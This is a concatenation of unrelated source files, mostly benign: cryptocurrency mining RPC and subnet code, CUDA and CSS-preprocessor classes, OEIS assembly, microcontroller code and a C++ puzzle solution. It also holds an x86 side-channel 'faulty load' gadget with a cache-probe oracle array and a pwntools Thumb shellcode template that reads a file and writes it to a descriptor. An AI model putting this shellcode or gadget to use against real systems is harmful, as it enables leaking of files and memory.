NET_INTERNAL: return addr == network; case NET_UNROUTABLE: case NET_MAX: return false; } assert(network.m_addr.size() == addr.m_addr.size()); for (size_t x = 0; x < addr.m_addr.size(); ++x) { if ((addr.m_addr[x] & netmask[x]) != network.m_addr[x]) { return false; } } return true; } std::string CSubNet::ToString() const { std::string suffix; switch (network.m_net) { case NET_IPV4: case NET_IPV6: { assert(network.m_addr.size() <= sizeof(netmask)); uint8_t cidr = 0; for (size_t i = 0; i < network.m_addr.size(); ++i) { if (netmask[i] == 0x00) { break; } cidr += NetmaskBits(netmask[i]); } suffix = strprintf("/%u", cidr); break; } case NET_ONION: case NET_I2P: case NET_CJDNS: case NET_INTERNAL: case NET_UNROUTABLE: case NET_MAX: break; } return network.ToString() + suffix; } bool CSubNet::IsValid() const { return valid; } bool CSubNet::SanityCheck() const { switch (network.m_net) { case NET_IPV4: case NET_IPV6: break; case NET_ONION: case NET_I2P: case NET_CJDNS: return true; case NET_INTERNAL: case NET_UNROUTABLE: case NET_MAX: return false; } for (size_t x = 0; x < network.m_addr.size(); ++x) { if (network.m_addr[x] & ~netmask[x]) return false; } return true; } bool operator==(const CSubNet& a, const CSubNet& b) { return a.valid == b.valid && a.network == b.network && !memcmp(a.netmask, b.netmask, 16); } bool operator<(const CSubNet& a, const CSubNet& b) { return (a.network < b.network || (a.network == b.network && memcmp(a.netmask, b.netmask, 16) < 0)); }
//======================================================================= // Copyright (c) 2017 Baptiste Wicht // Distributed under the terms of the MIT License. // (See accompanying file LICENSE or copy at // http://opensource.org/licenses/MIT) //======================================================================= #include "test.hpp" TEST_CASE("binarize/0", "[shuffle]") { const size_t N = 137; float* a_cpu = new float[N]; for (size_t i = 0; i < N; ++i) { a_cpu[i] = i; } float* a_gpu; cuda_check(cudaMalloc((void**)&a_gpu, N * sizeof(float))); cuda_check(cudaMemcpy(a_gpu, a_cpu, N * sizeof(float), cudaMemcpyHostToDevice)); egblas_sbinarize(N, a_gpu, 1, float(50)); cuda_check(cudaMemcpy(a_cpu, a_gpu, N * sizeof(float), cudaMemcpyDeviceToHost)); for (size_t i = 0; i < N; ++i) { if (float(i) <= float(50)) { REQUIRE(a_cpu[i] == 0.0f); } else { REQUIRE(a_cpu[i] == 1.0f); } } cuda_check(cudaFree(a_gpu)); delete[] a_cpu; }
#include "less/lessstylesheet/LessMediaQuery.h" #include "less/stylesheet/MediaQuery.h" LessMediaQuery::LessMediaQuery(const TokenList &selector, const LessStylesheet &parent) : selector(selector), parent(&parent) { } LessMediaQuery::~LessMediaQuery() { } TokenList &LessMediaQuery::getSelector() { return selector; } const TokenList &LessMediaQuery::getSelector() const { return selector; } const LessStylesheet &LessMediaQuery::getLessStylesheet() const { return *parent; } void LessMediaQuery::getFunctions(std::list<const Function *> &functionList, const Mixin &mixin, const ProcessingContext &context) const { LessStylesheet::getFunctions(functionList, mixin, context); getLessStylesheet().getFunctions(functionList, mixin, context); } const TokenList *LessMediaQuery::getVariable(const std::string &key, const ProcessingContext &context) const { const TokenList *t = LessStylesheet::getVariable(key, context); if (t == NULL) t = getLessStylesheet().getVariable(key, context); return t; } void LessMediaQuery::process(Stylesheet &s, void* context) const { MediaQuery *query; query = s.createMediaQuery(getSelector()); ((ProcessingContext*)context)->processValue(query->getSelector()); LessStylesheet::process(*query, ((ProcessingContext*)context)); ((ProcessingContext*)context)->setLessStylesheet(*parent); } void LessMediaQuery::write(CssWriter &writer) const { LessStylesheet::write(writer); }
// Copyright (c) 2010 Satoshi Nakamoto // Copyright (c) 2013 The paccoin developer // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "main.h" #include "db.h" #include "init.h" #include "paccoinrpc.h" using namespace json_spirit; using namespace std; Value getgenerate(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getgenerate\n" "Returns true or false."); return GetBoolArg("-gen"); } Value setgenerate(const Array& params, bool fHelp) { if (fHelp || params.size() < 1 || params.size() > 2) throw runtime_error( "setgenerate <generate> [genproclimit]\n" "<generate> is true or false to turn generation on or off.\n" "Generation is limited to [genproclimit] processors, -1 is unlimited."); bool fGenerate = true; if (params.size() > 0) fGenerate = params[0].get_bool(); if (params.size() > 1) { int nGenProcLimit = params[1].get_int(); mapArgs["-genproclimit"] = itostr(nGenProcLimit); if (nGenProcLimit == 0) fGenerate = false; } mapArgs["-gen"] = (fGenerate ? "1" : "0"); Generatepaccoins(fGenerate, pwalletMain); return Value::null; } Value gethashespersec(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "gethashespersec\n" "Returns a recent hashes per second performance measurement while generating."); if (GetTimeMillis() - nHPSTimerStart > 8000) return (boost::int64_t)0; return (boost::int64_t)dHashesPerSec; } // Litecoin: Return average network hashes per second based on last number of blocks. Value GetNetworkHashPS(int lookup) { if (pindexBest == NULL) return 0; // If lookup is -1, then use blocks since last difficulty change. if (lookup <= 0) lookup = pindexBest->nHeight % 2016 + 1; // If lookup is larger than chain, then set it to chain length. if (lookup > pindexBest->nHeight) lookup = pindexBest->nHeight; CBlockIndex* pindexPrev = pindexBest; for (int i = 0; i < lookup; i++) pindexPrev = pindexPrev->pprev; double timeDiff = pindexBest->GetBlockTime() - pindexPrev->GetBlockTime(); double timePerBlock = timeDiff / lookup; return (boost::int64_t)(((double)GetDifficulty() * pow(2.0, 32)) / timePerBlock); } Value getnetworkhashps(const Array& params, bool fHelp) { if (fHelp || params.size() > 1) throw runtime_error( "getnetworkhashps [blocks]\n" "Returns the estimated network hashes per second based on the last 120 blocks.\n" "Pass in [blocks] to override # of blocks, -1 specifies since last difficulty change."); return GetNetworkHashPS(params.size() > 0 ? params[0].get_int() : 120); } Value getmininginfo(const Array& params, bool fHelp) { if (fHelp || params.size() != 0) throw runtime_error( "getmininginfo\n" "Returns an object containing mining-related information."); Object obj; obj.push_back(Pair("blocks", (int)nBestHeight)); obj.push_back(Pair("currentblocksize",(uint64_t)nLastBlockSize)); obj.push_back(Pair("currentblocktx",(uint64_t)nLastBlockTx)); obj.push_back(Pair("difficulty", (double)GetDifficulty())); obj.push_back(Pair("errors", GetWarnings("statusbar"))); obj.push_back(Pair("generate", GetBoolArg("-gen"))); obj.push_back(Pair("genproclimit", (int)GetArg("-genproclimit", -1))); obj.push_back(Pair("hashespersec", gethashespersec(params, false))); obj.push_back(Pair("networkhashps", getnetworkhashps(params, false))); obj.push_back(Pair("pooledtx", (uint64_t)mempool.size())); obj.push_back(Pair("testnet", fTestNet)); return obj; } Value getworkex(const Array& params, bool fHelp) { if (fHelp || params.size() > 2) throw runtime_error( "getworkex [data, coinbase]\n" "If [data, coinbase] is not specified, returns extended work data.\n" ); if (vNodes.empty()) throw JSONRPCError(-9, "paccoin is not connected!"); if (IsInitialBlockDownload()) throw JSONRPCError(-10, "paccoin is downloading blocks..."); typedef map<uint256, pair<CBlock*, CScript> > mapNewBlock_t; static mapNewBlock_t mapNewBlock; static vector<CBlock*> vNewBlock; static CReserveKey reservekey(pwalletMain); if (params.size() == 0) { // Update block static unsigned int nTransactionsUpdatedLast; static CBlockIndex* pindexPrev; static int64 nStart; static CBlock* pblock; if (pindexPrev != pindexBest || (nTransactionsUpdated != nTransactionsUpdatedLast && GetTime() - nStart > 60)) { if (pindexPrev != pindexBest) { // Deallocate old blocks since they're obsolete now mapNewBlock.clear(); BOOST_FOREACH(CBlock* pblock, vNewBlock) delete pblock; vNewBlock.clear(); } nTransactionsUpdatedLast = nTransactionsUpdated; pindexPrev = pindexBest; nStart = GetTime(); // Create new block pblock = CreateNewBlock(pwalletMain); if (!pblock) throw JSONRPCError(-7, "Out of memory"); vNewBlock.push_back(pblock); } // Update nTime pblock->nTime = max(pindexPrev->GetMedianTimePast()+1, GetAdjustedTime()); pblock->nNonce = 0; // Update nExtraNonce static unsigned int nExtraNonce = 0; IncrementExtraNonce(pblock, pindexPrev, nExtraNonce); // Save mapNewBlock[pblock->hashMerkleRoot] = make_pair(pblock, pblock->vtx[0].vin[0].scriptSig); // Prebuild hash buffers char pmidstate[32]; char pdata[128]; char phash1[64]; FormatHashBuffers(pblock, pmidstate, pdata, phash1); uint256 hashTarget = CBigNum().SetCompact(pblock->nBits).getuint256(); CTransaction coinbaseTx = pblock->vtx[0]; std::vector<uint256> merkle = pblock->GetMerkleBranch(0); Object result; result.push_back(Pair("data", HexStr(BEGIN(pdata), END(pdata)))); result.push_back(Pair("target", HexStr(BEGIN(hashTarget), END(hashTarget)))); CDataStream ssTx(SER_NETWORK, PROTOCOL_VERSION); ssTx << coinbaseTx; result.push_back(Pair("coinbase", HexStr(ssTx.begin(), ssTx.end()))); Array merkle_arr; BOOST_FOREACH(uint256 merkleh, merkle) { merkle_arr.push_back(HexStr(BEGIN(merkleh), END(merkleh))); } result.push_back(Pair("merkle", merkle_arr)); return result; } else { // Parse parameters vector<unsigned char> vchData = ParseHex(params[0].get_str()); vector<unsigned char> coinbase; if(params.size() == 2) coinbase = ParseHex(params[1].get_str()); if (vchData.size() != 128) throw JSONRPCError(-8, "Invalid parameter"); CBlock* pdata = (CBlock*)&vchData[0]; // Byte reverse for (int i = 0; i < 128/4; i++) ((unsigned int*)pdata)[i] = ByteReverse(((unsigned int*)pdata)[i]); // Get saved block if (!mapNewBlock.count(pdata->hashMerkleRoot)) return false; CBlock* pblock = mapNewBlock[pdata->hashMerkleRoot].first; pblock->nTime = pdata->nTime; pblock->nNonce = pdata->nNonce; if(coinbase.size() == 0) pblock->vtx[0].vin[0].scriptSig = mapNewBlock[pdata->hashMerkleRoot].second; else CDataStream(coinbase, SER_NETWORK, PROTOCOL_VERSION) >> pblock->vtx[0]; // FIXME - HACK! pblock->hashMerkleRoot = pblock->BuildMerkleTree(); if (!pblock->SignBlock(*pwalletMain)) throw JSONRPCError(-100, "Unable to sign block, wallet locked?"); return CheckWork(pblock, *pwalletMain, reservekey); } } Value getwork(const Array& params, bool fHelp) { if (fHelp || params.size() > 1) throw runtime_error( "getwork [data]\n" "If [data] is not specified, returns formatted hash data to work on:\n" " \"midstate\" : precomputed hash state after hashing the first half of the data (DEPRECATED)\n" // deprecated " \"data\" : block data\n" " \"hash1\" : formatted hash buffer for second hash (DEPRECATED)\n" // deprecated " \"target\" : little endian hash target\n" "If [data] is specified, tries to solve the block and returns true if it was successful."); if (vNodes.empty()) throw JSONRPCError(RPC_CLIENT_NOT_CONNECTED, "paccoin is not connected!"); if (IsInitialBlockDownload()) throw JSONRPCError(RPC_CLIENT_IN_INITIAL_DOWNLOAD, "paccoin is downloading blocks..."); typedef map<uint256, pair<CBlock*, CScript> > mapNewBlock_t; static mapNewBlock_t mapNewBlock; // FIXME: thread safety static vector<CBlock*> vNewBlock; static CReserveKey reservekey(pwalletMain); if (params.size() == 0) { // Update block static unsigned int nTransactionsUpdatedLast; static CBlockIndex* pindexPrev; static int64 nStart; static CBlock* pblock; if (pindexPrev != pindexBest || (nTransactionsUpdated != nTransactionsUpdatedLast && GetTime() - nStart > 60)) { if (pindexPrev != pindexBest) { // Deallocate old blocks since they're obsolete now mapNewBlock.clear(); BOOST_FOREACH(CBlock* pblock, vNewBlock) delete pblock; vNewBlock.clear(); } // Clear pindexPrev so future getworks make a new block, despite any failures from here on pindexPrev = NULL; // Store the pindexBest used before CreateNewBlock, to avoid races nTransactionsUpdatedLast = nTransactionsUpdated; CBlockIndex* pindexPrevNew = pindexBest; nStart = GetTime(); // Create new block pblock = CreateNewBlock(pwalletMain); if (!pblock) throw JSONRPCError(RPC_OUT_OF_MEMORY, "Out of memory"); vNewBlock.push_back(pblock); // Need to update only after we know CreateNewBlock succeeded pindexPrev = pindexPrevNew; } // Update nTime pblock->UpdateTime(pindexPrev); pblock->nNonce = 0; // Update nExtraNonce static unsigned int nExtraNonce = 0; IncrementExtraNonce(pblock, pindexPrev, nExtraNonce); // Save mapNewBlock[pblock->hashMerkleRoot] = make_pair(pblock, pblock->vtx[0].vin[0].scriptSig); // Pre-build hash buffers char pmidstate[32]; char pdata[128]; char phash1[64]; FormatHashBuffers(pblock, pmidstate, pdata, phash1); uint256 hashTarget = CBigNum().SetCompact(pblock->nBits).getuint256(); Object result; result.push_back(Pair("midstate", HexStr(BEGIN(pmidstate), END(pmidstate)))); // deprecated result.push_back(Pair("data", HexStr(BEGIN(pdata), END(pdata)))); result.push_back(Pair("hash1", HexStr(BEGIN(phash1), END(phash1)))); // deprecated result.push_back(Pair("target", HexStr(BEGIN(hashTarget), END(hashTarget)))); return result; } else { // Parse parameters vector<unsigned char> vchData = ParseHex(params[0].get_str()); if (vchData.size() != 128) throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid parameter"); CBlock* pdata = (CBlock*)&vchData[0]; // Byte reverse for (int i = 0; i < 128/4; i++) ((unsigned int*)pdata)[i] = ByteReverse(((unsigned int*)pdata)[i]); // Get saved block if (!mapNewBlock.count(pdata->hashMerkleRoot)) return false; CBlock* pblock = mapNewBlock[pdata->hashMerkleRoot].first; pblock->nTime = pdata->nTime; pblock->nNonce = pdata->nNonce; pblock->vtx[0].vin[0].scriptSig = mapNewBlock[pdata->hashMerkleRoot].second; pblock->hashMerkleRoot = pblock->BuildMerkleTree(); if (!pblock->SignBlock(*pwalletMain)) throw JSONRPCError(-100, "Unable to sign block, wallet locked?"); return CheckWork(pblock, *pwalletMain, reservekey); } } Value getblocktemplate(const Array& params, bool fHelp) { if (fHelp || params.size() > 1) throw runtime_error( "getblocktemplate [params]\n" "Returns data needed to construct a block to work on:\n" " \"version\" : block version\n" " \"previousblockhash\" : hash of current highest block\n" " \"transactions\" : contents of non-coinbase transactions that should be included in the next block\n" " \"coinbaseaux\" : data that should be included in coinbase\n" " \"coinbasevalue\" : maximum allowable input to coinbase transaction, including the generation award and transaction fees\n" " \"target\" : hash target\n" " \"mintime\" : minimum timestamp appropriate for next block\n" " \"curtime\" : current timestamp\n" " \"mutable\" : list of ways the block template may be changed\n" " \"noncerange\" : range of valid nonces\n" " \"sigoplimit\" : limit of sigops in blocks\n" " \"sizelimit\" : limit of block size\n" " \"bits\" : compressed target of next block\n" " \"height\" : height of the next block\n" "See https://en.bitcoin.it/wiki/BIP_0022 for full specification."); std::string strMode = "template"; if (params.size() > 0) { const Object& oparam = params[0].get_obj(); const Value& modeval = find_value(oparam, "mode"); if (modeval.type() == str_type) strMode = modeval.get_str(); else if (modeval.type() == null_type) { /* Do nothing */ } else throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid mode"); } if (strMode != "template") throw JSONRPCError(RPC_INVALID_PARAMETER, "Invalid mode"); if (vNodes.empty()) throw JSONRPCError(RPC_CLIENT_NOT_CONNECTED, "paccoin is not connected!"); if (IsInitialBlockDownload()) throw JSONRPCError(RPC_CLIENT_IN_INITIAL_DOWNLOAD, "paccoin is downloading blocks..."); static CReserveKey reservekey(pwalletMain); // Update block static unsigned int nTransactionsUpdatedLast; static CBlockIndex* pindexPrev; static int64 nStart; static CBlock* pblock; if (pindexPrev != pindexBest || (nTransactionsUpdated != nTransactionsUpdatedLast && GetTime() - nStart > 5)) { // Clear pindexPrev so future calls make a new block, despite any failures from here on pindexPrev = NULL; // Store the pindexBest used before CreateNewBlock, to avoid races nTransactionsUpdatedLast = nTransactionsUpdated; CBlockIndex* pindexPrevNew = pindexBest; nStart = GetTime(); // Create new block if(pblock) { delete pblock; pblock = NULL; } pblock = CreateNewBlock(pwalletMain); if (!pblock) throw JSONRPCError(RPC_OUT_OF_MEMORY, "Out of memory"); // Need to update only after we know CreateNewBlock succeeded pindexPrev = pindexPrevNew; } // Update nTime pblock->UpdateTime(pindexPrev); pblock->nNonce = 0; Array transactions; map<uint256, int64_t> setTxIndex; int i = 0; CTxDB txdb("r"); BOOST_FOREACH (CTransaction& tx, pblock->vtx) { uint256 txHash = tx.GetHash(); setTxIndex[txHash] = i++; if (tx.IsCoinBase() || tx.IsCoinStake()) continue; Object entry; CDataStream ssTx(SER_NETWORK, PROTOCOL_VERSION); ssTx << tx; entry.push_back(Pair("data", HexStr(ssTx.begin(), ssTx.end()))); entry.push_back(Pair("hash", txHash.GetHex())); MapPrevTx mapInputs; map<uint256, CTxIndex> mapUnused; bool fInvalid = false; if (tx.FetchInputs(txdb, mapUnused, false, false, mapInputs, fInvalid)) { entry.push_back(Pair("fee", (int64_t)(tx.GetValueIn(mapInputs) - tx.GetValueOut()))); Array deps; BOOST_FOREACH (MapPrevTx::value_type& inp, mapInputs) { if (setTxIndex.count(inp.first)) deps.push_back(setTxIndex[inp.first]); } entry.push_back(Pair("depends", deps)); int64_t nSigOps = tx.GetLegacySigOpCount(); nSigOps += tx.GetP2SHSigOpCount(mapInputs); entry.push_back(Pair("sigops", nSigOps)); } transactions.push_back(entry); } Object aux; aux.push_back(Pair("flags", HexStr(COINBASE_FLAGS.begin(), COINBASE_FLAGS.end()))); uint256 hashTarget = CBigNum().SetCompact(pblock->nBits).getuint256(); static Array aMutable; if (aMutable.empty()) { aMutable.push_back("time"); aMutable.push_back("transactions"); aMutable.push_back("prevblock"); } Object result; result.push_back(Pair("version", pblock->nVersion)); result.push_back(Pair("previousblockhash", pblock->hashPrevBlock.GetHex())); result.push_back(Pair("transactions", transactions)); result.push_back(Pair("coinbaseaux", aux)); result.push_back(Pair("coinbasevalue", (int64_t)pblock->vtx[0].vout[0].nValue)); result.push_back(Pair("target", hashTarget.GetHex())); result.push_back(Pair("mintime", (int64_t)pindexPrev->GetMedianTimePast()+1)); result.push_back(Pair("mutable", aMutable)); result.push_back(Pair("noncerange", "00000000ffffffff")); result.push_back(Pair("sigoplimit", (int64_t)MAX_BLOCK_SIGOPS)); result.push_back(Pair("sizelimit", (int64_t)MAX_BLOCK_SIZE)); result.push_back(Pair("curtime", (int64_t)pblock->nTime)); result.push_back(Pair("bits", HexBits(pblock->nBits))); result.push_back(Pair("height", (int64_t)(pindexPrev->nHeight+1))); return result; } Value submitblock(const Array& params, bool fHelp) { if (fHelp || params.size() < 1 || params.size() > 2) throw runtime_error( "submitblock <hex data> [optional-params-obj]\n" "[optional-params-obj] parameter is currently ignored.\n" "Attempts to submit new block to network.\n" "See https://en.bitcoin.it/wiki/BIP_0022 for full specification."); vector<unsigned char> blockData(ParseHex(params[0].get_str())); CDataStream ssBlock(blockData, SER_NETWORK, PROTOCOL_VERSION); CBlock block; try { ssBlock >> block; } catch (std::exception &e) { throw JSONRPCError(RPC_DESERIALIZATION_ERROR, "Block decode failed"); } if (!block.SignBlock(*pwalletMain)) throw JSONRPCError(-100, "Unable to sign block, wallet locked?"); bool fAccepted = ProcessBlock(NULL, &block); if (!fAccepted) return "rejected"; return Value::null; }
.global s_prepare_buffers s_prepare_buffers: push %r13 push %rax push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0xf23, %rsi lea addresses_A_ht+0x1c023, %rdi nop nop nop add $52289, %r13 mov $88, %rcx rep movsw nop cmp %r13, %r13 lea addresses_D_ht+0x19f23, %rbp clflush (%rbp) nop nop add %rbx, %rbx mov (%rbp), %eax nop nop nop sub $21885, %rdi lea addresses_WC_ht+0x67b3, %rbx add %rdi, %rdi movw $0x6162, (%rbx) inc %rcx pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r13 ret .global s_faulty_load s_faulty_load: push %r11 push %r14 push %r15 push %r8 push %r9 push %rax push %rbp // Store mov $0x1e692a0000000723, %rax clflush (%rax) nop nop nop nop sub %r14, %r14 mov $0x5152535455565758, %r8 movq %r8, %xmm2 vmovntdq %ymm2, (%rax) nop nop nop nop inc %r14 // Store lea addresses_normal+0x8b23, %rbp nop nop nop and $65456, %rax movl $0x51525354, (%rbp) cmp $54806, %r15 // Faulty Load lea addresses_normal+0xaf23, %r14 nop xor %r9, %r9 mov (%r14), %eax lea oracles, %r9 and $0xff, %rax shlq $12, %rax mov (%r9,%rax,1), %rax pop %rbp pop %rax pop %r9 pop %r8 pop %r15 pop %r14 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_normal', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_NC', 'same': False, 'size': 32, 'congruent': 11, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_normal', 'same': False, 'size': 4, 'congruent': 8, 'NT': True, 'AVXalign': False}, 'OP': 'STOR'} [Faulty Load] {'src': {'type': 'addresses_normal', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_D_ht', 'same': False, 'size': 4, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 2, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'34': 41} 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
// Copyright 2018 InnoVisioNate Inc. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "PlotTypes.h" #include <math.h> #include "utils.h" void PlotTypes::balls(commonProperties *pProperties,long segmentID) { DataPoint v[5]; double avgNormal[5][4]; DataPoint homePoint,firstPoint,secondPoint; double minx,maxx,miny,maxy,minz,maxz; pIOpenGLImplementation -> BeginSurface(segmentID,propertyTopSurfaceColor,propertyBottomSurfaceColor); pIDataSet -> get_minX(&minx); pIDataSet -> get_maxX(&maxx); pIDataSet -> get_minY(&miny); pIDataSet -> get_maxY(&maxy); pIDataSet -> get_minZ(&minz); pIDataSet -> get_maxZ(&maxz); double xRadius = (maxx - minx) * pProperties -> defaultSolidSizeInPercentDomain / 100.0; double zScaleFactor = (maxx - minx) / (maxz - minz); double yScaleFactor = (maxx - minx) / (maxy - miny); double theta, phi; static double twoPi = 0.0,pi = 0.0; static double dTheta,dThetaBase,dPhi,piOver2; if ( 0.0 == twoPi ) { piOver2 = 2.0 * atan(1.0); pi = 2.0 * piOver2; twoPi = 2.0 * pi; dTheta = twoPi / 60.0; dPhi = pi / 60.0; } DataList *pItem = NULL; pIDataSet -> peek(pItem,&pItem); while ( pItem ) { homePoint = pItem -> data; pIOpenGLImplementation -> BeginOpenGLMode(GL_TRIANGLE_STRIP); for ( theta = 0.0; theta <= twoPi; theta += dTheta ) { double nextTheta = theta + dTheta; double cosTheta = cos(theta); double cosNextTheta = cos(theta + dTheta); double sinTheta = sin(theta); double sinNextTheta = sin(theta + dTheta); for ( phi = -piOver2; phi < piOver2; phi += dPhi ) { double nextPhi = phi + dPhi; firstPoint = homePoint; firstPoint.x += xRadius * cosTheta * cos(phi); firstPoint.y += xRadius * sinTheta * cos(phi) / yScaleFactor; firstPoint.z += xRadius * sin(phi) / zScaleFactor; secondPoint = homePoint; secondPoint.x += xRadius * cosNextTheta * cos(phi); secondPoint.y += xRadius * sinNextTheta * cos(phi) / yScaleFactor; secondPoint.z += xRadius * sin(phi) / zScaleFactor; v[0] = firstPoint; v[1] = secondPoint; avgNormal[0][0] = firstPoint.x; avgNormal[0][1] = firstPoint.y; avgNormal[0][2] = firstPoint.z; pIOpenGLImplementation -> Normal3dv(avgNormal[0]); for ( int vk = 0; vk < 2; vk++ ) { pIOpenGLImplementation -> Vertex(&v[vk]); } } } pIOpenGLImplementation -> EndOpenGLMode(); pIDataSet -> peek(pItem,&pItem); } pIOpenGLImplementation -> BeginOpenGLMode(GL_QUADS); pIOpenGLImplementation -> CloseSegment(segmentID,TRUE); return; }
; A081567: Second binomial transform of F(n+1). ; 1,3,10,35,125,450,1625,5875,21250,76875,278125,1006250,3640625,13171875,47656250,172421875,623828125,2257031250,8166015625,29544921875,106894531250,386748046875,1399267578125,5062597656250,18316650390625,66270263671875,239768066406250,867489013671875,3138604736328125,11355578613281250,41084869384765625,148646453857421875,537807922363281250,1945807342529296875,7039997100830078125,25470948791503906250,92154758453369140625,333419048309326171875,1206321449279785156250,4364512004852294921875 mov $1,1 mov $2,3 lpb $0 sub $0,1 sub $2,$1 add $1,$2 mul $2,5 lpe mov $0,$1
org 0000h ; MOV P1,#00h ; principal: setb p1.0 ; lcall tempo ; clr p1.0 ; lcall tempo ; setb p1.1 ; lcall tempo ; clr p1.1 ; lcall tempo ; setb p1.2 ; lcall tempo ; clr p1.2 ; lcall tempo ; setb p1.3 ; lcall tempo ; clr p1.3 ; lcall tempo ; setb p1.4 ; lcall tempo ; clr p1.4 ; lcall tempo ; setb p1.5 ; lcall tempo ; clr p1.5 ; lcall tempo ; setb p1.6 ; lcall tempo ; clr p1.6 ; lcall tempo ; setb p1.7 ; lcall tempo ; clr p1.7 ; lcall tempo ; lcall volta ; ljmp principal ; tempo: mov r6,#255 ; mov r5,#150 ; tempo1: djnz r6,tempo1 ; mov r6,#255 ; djnz r5,tempo1 ; ret ; volta: setb p1.7 ; lcall tempo ; clr p1.7 ; lcall tempo ; setb p1.6 ; lcall tempo ; clr p1.6 ; lcall tempo ; setb p1.5 ; lcall tempo ; clr p1.5 ; lcall tempo ; setb p1.4 ; lcall tempo ; clr p1.4 ; lcall tempo ; setb p1.3 ; lcall tempo ; clr p1.3 ; lcall tempo ; setb p1.2 ; lcall tempo ; clr p1.2 ; lcall tempo ; setb p1.1 ; lcall tempo ; clr p1.1 ; lcall tempo ; setb p1.0 ; lcall tempo ; clr p1.0 ; lcall tempo ; lcall volta2 ; volta1: setb p1.4 ; setb p1.3 ; lcall tempo ; clr p1.4 ; clr p1.3 ; lcall tempo ; setb p1.5 ; setb p1.2 ; lcall tempo ; clr p1.5 ; clr p1.2 ; lcall tempo ; setb p1.6 ; setb p1.1 ; lcall tempo ; clr p1.6 ; clr p1.1 ; lcall tempo ; setb p1.7 ; setb p1.0 ; lcall tempo ; clr p1.7 ; clr p1.0 ; lcall tempo ; lcall principal ; volta2: setb p1.7 ; setb p1.0 ; lcall tempo ; clr p1.7 ; clr p1.0 ; lcall tempo ; setb p1.6 ; setb p1.1 ; lcall tempo ; clr p1.6 ; clr p1.1 ; lcall tempo ; setb p1.5 ; setb p1.2 ; lcall tempo ; clr p1.5 ; clr p1.2 ; lcall tempo ; setb p1.4 ; setb p1.3 ; lcall tempo ; clr p1.4 ; clr p1.3 ; lcall tempo ; lcall volta1 ;
; IO Utilities Allocate Channel Block V2.00  1989 Tony Tebby QJUMP section iou xdef iou_achb include 'dev8_keys_qlv' ;+++ ; IO Utilities Allocate Channel Block ; ; d0 cr required length / status ; a0 r base of block ; all other registers preserved ;--- iou_achb ioa.reg reg d1-d3/a1-a3 movem.l ioa.reg,-(sp) move.l d0,d1 move.w mem.achp,a2 jsr (a2) ioa_exit movem.l (sp)+,ioa.reg rts end
<% from pwnlib import constants from pwnlib.shellcraft import thumb from pwnlib.shellcraft import common %> <%page args="filename, fd=1"/> <%docstring> Opens a file and writes its contents to the specified file descriptor. Example: >>> f = tempfile.mktemp() >>> write(f, 'FLAG\n') >>> run_assembly(shellcraft.arm.to_thumb()+shellcraft.thumb.linux.cat(f)).recvline() 'FLAG\n' </%docstring> <% label = common.label("sendfile_loop") %> ${thumb.pushstr(filename)} ${thumb.linux.open('sp', constants.O_RDONLY, 0)} ${thumb.mov('r5', 'r0')} ${thumb.linux.sendfile(fd, 'r5', 0, 0x7fffffff)}
; A277392: a(n) = n!*LaguerreL(n, -3*n). ; Submitted by Christian Krause ; 1,4,62,1626,59928,2844120,165100752,11331597942,897635712384,80602042275756,8090067511468800,897561658361441106,109072492644378442752,14407931244544181001216,2055559499598438969956352,314997663481165477898736750,51601245736595962597616222208,8998602469516971841624655255892,1664378894334154183937074210996224,325439208077165071070189571820407114,67074317636984221358062010797424640000,14533389042774225958907712179909234599464,3302679645871328409898211748408564147290112 mov $2,1 mov $3,$0 mov $4,1 lpb $3 mul $1,$3 mul $4,$3 add $1,$4 mul $1,$3 mul $2,3 mul $2,$0 cmp $4,0 add $5,$4 mov $6,$5 cmp $6,0 add $5,$6 div $1,$5 add $2,$1 sub $3,1 div $4,$5 lpe mov $0,$2
#include <cstdio> #include <iostream> using namespace std; int n,x,y,v; int a[20][20]; int f[20][20][20][20]; int main(){ scanf("%d",&n); while(scanf("%d%d%d",&x,&y,&v)!=EOF){ a[x][y]=v; } for(int i=1;i<=n;i++){ for(int j=1;j<=n;j++){ for(int k=1;k<=n;k++){ for(int l=1;l<=n;l++){ f[i][j][k][l]=max(max(f[i-1][j][k-1][l],f[i][j-1][k-1][l]),max(f[i-1][j][k][l-1],f[i][j-1][k][l-1]))+a[i][j]+a[k][l]; if(i==k&&j==l) f[i][j][k][l]-=a[i][j]; } } } } printf("%d",f[n][n][n][n]); }
